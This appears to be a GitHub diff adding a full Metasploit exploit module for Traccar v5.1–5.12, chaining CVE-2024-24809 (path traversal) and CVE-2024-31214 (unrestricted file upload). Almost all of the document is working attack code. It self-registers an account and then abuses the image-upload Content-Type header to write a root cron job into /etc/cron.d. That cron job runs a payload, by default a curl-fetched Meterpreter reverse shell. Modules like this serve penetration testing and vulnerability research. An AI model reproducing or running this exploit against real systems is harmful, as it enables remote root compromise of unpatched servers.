1- draft
1+ class MetasploitModule < Msf ::Exploit ::Remote
2+ Rank = ExcellentRanking
3+ include Msf ::Exploit ::Remote ::HttpClient
4+ prepend Msf ::Exploit ::Remote ::AutoCheck
5+
6+ def initialize ( info = { } )
7+ super (
8+ update_info (
9+ info ,
10+ 'Name' => 'Traccar v5 Remote Code Execution (CVE-2024-31214 and CVE-2024-24809)' ,
11+ 'Description' => %q{
12+ Remote Code Execution in Traccar v5.1 - v5.12.
13+ Remote code execution can be obtained by combining two vulnerabilities: A path traversal vulnerability (CVE-2024-24809) and an unrestricted file upload vulnerability (CVE-2024-31214).
14+ By default, the application allows self-registration, enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges, potentially resulting in a complete system compromise.
15+ This module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the specified payload.
16+ } ,
17+ 'License' => MSF_LICENSE ,
18+ 'Author' => [
19+ 'Michael Heinzl' , # MSF Module
20+ 'yiliufeng168' , # Discovery CVE-2024-24809 and PoC
21+ 'Naveen Sunkavally' # Discovery CVE-2024-31214 and PoC
22+ ] ,
23+ 'References' => [
24+ [ 'URL' , 'https://github.com/traccar/traccar/security/advisories/GHSA-vhrw-72f6-gwp5' ] ,
25+ [ 'URL' , 'https://github.com/traccar/traccar/security/advisories/GHSA-3gxq-f2qj-c8v9' ] ,
26+ [ 'URL' , 'https://www.horizon3.ai/attack-research/disclosures/traccar-5-remote-code-execution-vulnerabilities/' ] ,
27+ [ 'CVE' , '2024-31214' ] ,
28+ [ 'CVE' , '2024-24809' ]
29+ ] ,
30+ 'DisclosureDate' => '2024-08-23' ,
31+ 'Platform' => [ 'linux' ] ,
32+ 'Arch' => [ ARCH_CMD ] ,
33+ 'Targets' => [
34+ [
35+ 'Linux Command' ,
36+ {
37+ 'Arch' => [ ARCH_CMD ] ,
38+ 'Platform' => [ 'linux' ] ,
39+ 'DefaultOptions' => {
40+ 'FETCH_COMMAND' => 'CURL' ,
41+ 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
42+
43+ } ,
44+ 'Type' => :unix_cmd
45+ }
46+ ]
47+ ] ,
48+ 'DefaultTarget' => 0 ,
49+ 'Notes' => {
50+ 'Stability' => [ CRASH_SAFE ] ,
51+ 'Reliability' => [ EVENT_DEPENDENT ] ,
52+ 'SideEffects' => [ IOC_IN_LOGS , CONFIG_CHANGES ]
53+ }
54+ )
55+ )
56+
57+ register_options (
58+ [
59+ Opt ::RPORT ( 8082 ) ,
60+ OptString . new ( 'USERNAME' , [ true , 'Username to be used when creating a new user' , Faker ::Internet . username ] ) ,
61+ OptString . new ( 'PASSWORD' , [ true , 'Password for the new user' , Rex ::Text . rand_text_alphanumeric ( 16 ) ] ) ,
62+ OptString . new ( 'EMAIL' , [ true , 'E-mail for the new user' , Faker ::Internet . email ] ) ,
63+ OptString . new ( 'TARGETURI' , [ true , 'The URI for the Traccar web interface' , '/' ] )
64+ ]
65+ )
66+ end
67+
68+ def check
69+ begin
70+ res = send_request_cgi ( {
71+ 'method' => 'GET' ,
72+ 'uri' => normalize_uri ( target_uri . path , 'api/server' )
73+ } )
74+ rescue ::Rex ::ConnectionRefused , ::Rex ::HostUnreachable , ::Rex ::ConnectionTimeout , ::Rex ::ConnectionError
75+ return CheckCode ::Unknown
76+ end
77+
78+ unless res && res . code == 200
79+ return CheckCode ::Unknown
80+ end
81+
82+ data = res . get_json_document
83+ version = data [ 'version' ]
84+ if version . nil?
85+ return CheckCode ::Unknown
86+ else
87+ vprint_status ( 'Version retrieved: ' + version )
88+ end
89+
90+ unless Rex ::Version . new ( version ) . between? ( Rex ::Version . new ( '5.1' ) , Rex ::Version . new ( '5.12' ) )
91+ return CheckCode ::Safe
92+ end
93+
94+ return CheckCode ::Appears
95+ end
96+
97+ def exploit
98+ execute_command ( payload . encoded )
99+ end
100+
101+ def execute_command ( cmd )
102+ print_status ( 'Registering new user...' )
103+ body = {
104+ name : datastore [ 'USERNAME' ] ,
105+ email : datastore [ 'EMAIL' ] ,
106+ password : datastore [ 'PASSWORD' ] ,
107+ totpKey : nil
108+ } . to_json
109+
110+ res = send_request_cgi (
111+ 'method' => 'POST' ,
112+ 'uri' => normalize_uri ( target_uri . path , 'api/users' ) ,
113+ 'ctype' => 'application/json' ,
114+ 'data' => body
115+ )
116+
117+ unless res
118+ fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
119+ end
120+
121+ # not quite necessary to check for this, since we exit all cases that are not 200 below, but this is a common error
122+ # to run into when this module is executed more than once without updating the provided email address
123+ if res . code == 400 && res . to_s . include? ( 'Unique index or primary key violation' )
124+ fail_with ( Failure ::UnexpectedReply , 'Error: The same E-mail already exists on the system: ' + res . to_s )
125+ end
126+
127+ unless res . code == 200
128+ fail_with ( Failure ::UnexpectedReply , res . to_s )
129+ end
130+
131+ json = res . get_json_document
132+
133+ unless json . key? ( 'name' ) && json [ 'name' ] == datastore [ 'USERNAME' ] && json . key? ( 'email' ) && json [ 'email' ] == datastore [ 'EMAIL' ]
134+ fail_with ( Failure ::UnexpectedReply , 'Received unexpected reply:\n' + json . to_s )
135+ end
136+
137+ print_status ( 'Authenticating...' )
138+ res = send_request_cgi (
139+ 'method' => 'POST' ,
140+ 'uri' => normalize_uri ( target_uri . path , 'api/session' ) ,
141+ 'ctype' => 'application/x-www-form-urlencoded' ,
142+ 'vars_post' => {
143+ 'email' => datastore [ 'EMAIL' ] ,
144+ 'password' => datastore [ 'PASSWORD' ]
145+ }
146+ )
147+
148+ unless res
149+ fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
150+ end
151+
152+ raw_res = res . to_s
153+ unless raw_res =~ /JSESSIONID=([^;]+)/
154+ fail_with ( Failure ::UnexpectedReply , 'JSESSIONID not found.' )
155+ end
156+
157+ json = res . get_json_document
158+ unless res . code == 200 && json . key? ( 'name' ) && json [ 'name' ] == datastore [ 'USERNAME' ] && json . key? ( 'email' ) && json [ 'email' ] == datastore [ 'EMAIL' ]
159+ fail_with ( Failure ::UnexpectedReply , 'Received unexpected reply:\n' + json . to_s )
160+ end
161+
162+ jsessionid = ::Regexp . last_match ( 1 )
163+ vprint_status ( "JSESSIONID: #{ jsessionid } " )
164+
165+ name_v = Rex ::Text . rand_text_alphanumeric ( 16 )
166+ unique_id_v = Rex ::Text . rand_text_alphanumeric ( 16 )
167+
168+ body = {
169+ name : name_v ,
170+ uniqueId : unique_id_v
171+ } . to_json
172+
173+ print_status ( 'Adding new device...' )
174+ res = send_request_cgi (
175+ 'method' => 'POST' ,
176+ 'uri' => normalize_uri ( target_uri . path , 'api/devices' ) ,
177+ 'headers' => {
178+ 'Cookie' => "JSESSIONID=#{ jsessionid } "
179+ } ,
180+ 'ctype' => 'application/json' ,
181+ 'data' => body
182+ )
183+
184+ unless res
185+ fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
186+ end
187+
188+ json = res . get_json_document
189+
190+ unless res . code == 200 && json . key? ( 'name' ) && json [ 'name' ] == name_v && json . key? ( 'uniqueId' ) && json [ 'uniqueId' ] == unique_id_v && json . key? ( 'id' )
191+ fail_with ( Failure ::UnexpectedReply , 'Received unexpected reply:\n' + json . to_s )
192+ end
193+
194+ id = json [ 'id' ] . to_s
195+ body = Rex ::Text . rand_text_alphanumeric ( 1 ..4 )
196+ fn = Rex ::Text . rand_text_alpha ( 1 ..2 )
197+
198+ print_status ( 'Uploading crontab file...' )
199+ res = send_request_cgi (
200+ 'method' => 'POST' ,
201+ 'uri' => normalize_uri ( target_uri . path , "api/devices/#{ id } /image" ) ,
202+ 'headers' => {
203+ 'Cookie' => "JSESSIONID=#{ jsessionid } "
204+ } ,
205+ 'ctype' => 'image/png' ,
206+ 'data' => body
207+ )
208+
209+ unless res
210+ fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
211+ end
212+
213+ unless res . code == 200 && res . to_s . include? ( 'device.png' )
214+ fail_with ( Failure ::UnexpectedReply , res . to_s )
215+ end
216+
217+ res = send_request_cgi (
218+ 'method' => 'POST' ,
219+ 'uri' => normalize_uri ( target_uri . path , "api/devices/#{ id } /image" ) ,
220+ 'headers' => {
221+ 'Cookie' => "JSESSIONID=#{ jsessionid } "
222+ } ,
223+ 'ctype' => "image/png;#{ fn } =\" /b\" " ,
224+ 'data' => body
225+ )
226+
227+ unless res
228+ fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
229+ end
230+
231+ unless res . code == 200 && res . to_s . include? ( "device.png;#{ fn } =\" /b\" " )
232+ fail_with ( Failure ::UnexpectedReply , res . to_s )
233+ end
234+
235+ body = "* * * * * root /bin/bash -c '#{ cmd } '\n "
236+ cronfn = SecureRandom . hex ( 12 )
237+
238+ res = send_request_cgi (
239+ 'method' => 'POST' ,
240+ 'uri' => normalize_uri ( target_uri . path , "api/devices/#{ id } /image" ) ,
241+ 'headers' => {
242+ 'Cookie' => "JSESSIONID=#{ jsessionid } "
243+ } ,
244+ 'ctype' => "image/png;#{ fn } =\" /../../../../../../../../../etc/cron.d/#{ cronfn } \" " ,
245+ 'data' => body
246+ )
247+
248+ unless res
249+ fail_with ( Failure ::Unreachable , 'Failed to receive a reply from the server.' )
250+ end
251+
252+ unless res . code == 200 && res . to_s . include? ( "device.png;#{ fn } =\" /../../../../../../../../../etc/cron.d/#{ cronfn } \" " )
253+ fail_with ( Failure ::UnexpectedReply , res . to_s )
254+ end
255+
256+ # It takes up to one minute to get the cron job executed; need to wait as otherwise the handler might terminate too early
257+ print_status ( 'Cronjob successfully written - waiting for execution...' )
258+ sleep ( 60 )
259+
260+ print_status ( 'Exploit finished, check thy shell.' )
261+ end
262+ end
0 commit comments